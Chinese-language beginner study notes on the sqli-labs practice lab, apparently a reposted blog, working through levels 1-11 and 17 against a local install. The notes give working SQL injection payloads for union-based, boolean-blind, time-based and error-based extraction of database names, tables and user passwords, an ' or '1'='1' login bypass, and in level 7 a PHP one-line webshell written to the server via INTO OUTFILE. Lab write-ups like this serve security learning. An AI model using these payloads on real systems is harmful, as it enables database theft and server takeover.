sqli-labs新手学习笔记(持续更新)

sqli-labs环境安装

下载地址:https://github.com/Audi-1/sqli-labs
同时需要安装phpstudy

开始前遇到的问题

在这里插入图片描述
启动phpstudy,发现apache服务可以正常启动,但MySQL就不行。但是打开任务管理器发现MySQL服务一直在正常运行。查了一下有这种问题原因,可能是因为之前已经安装了MySQL服务,需要在cmd 窗口下输入 sc delete mysql。

less01

题目描述:让用户上传一个参数’id’。
首先通过get请求传参id=1’,发现可以注入。
在这里插入图片描述
接着传参id=1’–+可知是单引号字符型注入。
在这里插入图片描述
之后通过order by语句判断数据库的字段数,(当order by后面的字段数大于数据库的字段数,该系统会报错,这是判断数据库字段数的一种常用方法)。发现order by 4–+时有报错信息,当输入order by 3–+时发现正常。在这里插入图片描述
确定目标数据库字段数为3后,就可以利用union查询了。
首先把id注释掉(id=-1)然后输入union select 1,group_concat(schema_name),3 from information_schema.schemata获取数据库信息(爆库)
在这里插入图片描述
然后输入union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+获取数据库security的表的信息。(爆表)
在这里插入图片描述
然后输入union select 1,group_concat(column_name),3 from information_schema .columns where table_name='users'--+获取users表的列
在这里插入图片描述最后输入union select 1,group_concat(concat_ws(':',username,password)),3 from users --+获取用户名和密码。
在这里插入图片描述

less02

查看网页代码发现sql语句与之前有所不同,少了$id两边的引号。说明单引号影响语句闭合,为数字注入和第一题一样,尝试使用order by判断漏洞。同样发现当order by后的数字为4时,系统报错,但order by后的数字为3时正常,表明同样有3个字段。
之后同样用联合查询获取数据库的信息(但是id参数的内容要去掉单引号)。

less03

在id=1后加上单引号同样报错,但报错信息和之前有所不同。
在这里插入图片描述
再加上小括号和–+,页面提示正常信息,之后操作和之前相同。

less04

首先看一下代码,此时直接用get方法上传id=1’同样报错,但如果时双引号就能,
所以其他语句和前3个比不变,只需再id=1后加上双引号。

less05

首先传参,令id=1,发现页面显示“You are in”
在这里插入图片描述
再试试加单引号或双引号,发现页面报错。说明应该不是union查询注入。
在这里插入图片描述
这种情况可以通过布尔注入或报错注入,这里通过布尔注入实现。
使用布尔注入前需要了解布尔注入常用的几个函数:
1.left函数:left(a,b)从a的左侧截取a的前b位正确返回1,错误返回0。
2.regexp函数:select user() regexp=‘r’匹配user
3.substr函数:select database() substr(1,1),substr(a,b,c)从b截取a的c位长度
4.ascii: ascii(‘s’)获取s的ascii值
具体操作
1.首先用order by判断数据库的字段数,发现order by 3页面提示“You are in”大于3报错,说明目标数据库是3个字段。
2.我们需要知道数据库的名字,可以通过burp暴力破解
语句:id=1’ and(布尔型) left((select database()),1)=‘c’,c为字母
3.将数据发送到攻击模块
在这里插入图片描述
4.执行爆破,选择’brute frocer’,发现s的长度与其他相比是异常的。所以数据库名字的第一位是s。之后的每一位的字母都可以按照此方法找到。
在这里插入图片描述
5.构造id=1’ and ascii(substr(select table_name from information_schema.tables where table_schema=‘security’),num1,num2))=num;num1,num2为参数。
获取security的表名(也可以使用left语句),之后得到列,用户名,密码的操作相似
当然此题也可以用报错注入
报错注入原理:
  由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理 也不可以为group by的条件字段。floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误,floor:向下取整,只保留整数部分,rand(0) -> 0~1。

1.爆库:http://localhost/sqli-labs-master/Less-5/?id=1' union Select%201,count(*),concat(0x3a,0x3a,(select  database()),0x3a,0x3a,floor(rand(0)*2))a%20from%20information_schema.schemata%20group%20by%20a--+
2.爆表:http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select  table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand(0)*2) )  a from  information_schema.tables  group by a --+
3.爆列:http://localhost/sqli-labs-master/Less-5/?id=1%27%20union%20select%201,count(*),concat(0x3a,0x3a,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27user%27%20limit%200,1),0x3a,0x3a,floor(rand(0)*2)%20)a%20from%20information_schema.columns%20group%20by%20a%20--+
4.爆字段:http://localhost/sql1/Less-5/?id=1%27%20union%20select%20null,count(*),concat((select%20username%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23--+

less06

和第5题一样的思路唯一的区别就是在’id=1’后面加上双引号
在这里插入图片描述
可以根据爆错信息判断要加上双引号

less07

先在id=1后加上单引号和双引号,页面都显示正常,但是在参数后加上注释,会报错,说明系统过滤注释符。并且sql语句id参数前后很有可能加了(),尝试了很多次发现构造:“id’ =1 ))”,可以使注释不被过滤。
在这里插入图片描述
在这里插入图片描述
但是之后尝试 union,报错注入发现不能返回需要的信息(可以用布尔和时间盲注)。不过,本题提示利用file权限向服务器传入文件。那么,先看看是否能传入
构造语句:http://localhost/sqli-labs-master/Less-7/?id=1’)) and (select count(*) from mysql.user)>0–+
返回正常说明我们有这个权限
在这里插入图片描述
然后把一句话木马发送到网页,构造语句:id=-1’)) union select 1,2,"<?php

@eval($_POST[‘shell’])?> into outfile “*****\test.php”(******为网页的目录,test.php为上传的一句话木马文件)。
连上中国菜刀,发现能够连接成功,说明注入成功(网页根目录有一句话木马说明上传成功)。

less08

布尔型盲注,首先还是在id=1后面加上单引号,不返回正常信息,加上注释返回正常信息,说明之后的构造语句为 ?id=1’ ****。之后就可以利用left 、ascii、 substr、函数进行布尔型盲注,方法和第5题类似。

less09

首先还是加引号判断注入点,发现单双引号都显示‘You are in’。用order by 都是返回‘You are in’说明通过order by无法判断。这种问题就可以考虑时间盲注。
时间盲注的原理:
用sleep()或benchmark()等函数让mysql执行时间变长常与if(expr1,expr2,expr3)语句结合,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如expr1是True,则返回expr2,否则返回expr3。
构造语句:?id=1’ if (length(database())=num1,1,sleep(5))–+判断数据库名
当数据库名长度为num1时,页面快速返回信息,而如果不是则会等候一段时间。
之后构造语句:

http://localhost/sqli-labs-master/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

获取表,类似还可以获取列,字段的信息。

less10

这一题和第9题一样,都是时间盲注。唯一的区别这一题就是要在参数id后加上双引号。

less11

这是一道有关post的题目,也就是说无法像之前的题目一样通过浏览器的url地址栏直接注入。
在这里插入图片描述
那么怎样才能注入?我们可以通过burpsuit以post传递参数。当然也可以利用火狐浏览器的hackbar。首先还是先输入单双引号判断注入点。这里,好像不能用‘–+’注释,但可以直接用’#‘注释。通过尝试可以知道sql语句的参数被单引号括住了.
然后输入 uname=1’ or ‘1’ = ‘1’ (目的是利用 or 而’1’='1’必为真,使语句执行)&passwd=1(任意),发现登录 成功 !
在这里插入图片描述
之后就可以利用order by判断表的数目并用和之前一样的联合查询注入。

爆库:1' union select  1,database()
#
爆表: 1’ union select 1,group_concat(table_name) from information_schema.
tables where table_schema='security'#
爆列: 1' union select 1,group_concat(column_name) from information_schema.
columns where table_name='users'#

在这里插入图片描述

less17

在这里插入图片描述
首先输入用户名和密码(可以尝试admin 或 1),输入admin,页面返回信息(“successfully updated your password”)说明admin可以是正确的用户名。在这里插入图片描述
但是看一下输出的sql语句发现password的信息没有在sql语句里。并且password会被更新。说明脚本里含有update语句更新数据库。这里就可以考虑用到报错注入用到的updataxml函数,updatexml函数:

update(XML_document,XPath_string,new_value)

我们可以先爆出数据库的名字,使用select 语句:

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select database())),1) #

爆表

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),1)#

爆列

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users')),1)#

获取username和password

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select username,password from users),1)#

这样就可以实现sql 注入

发布了9 篇原创文章 · 获赞 0 · 访问量 197

猜你喜欢

转载自blog.csdn.net/zydbk123456/article/details/102146266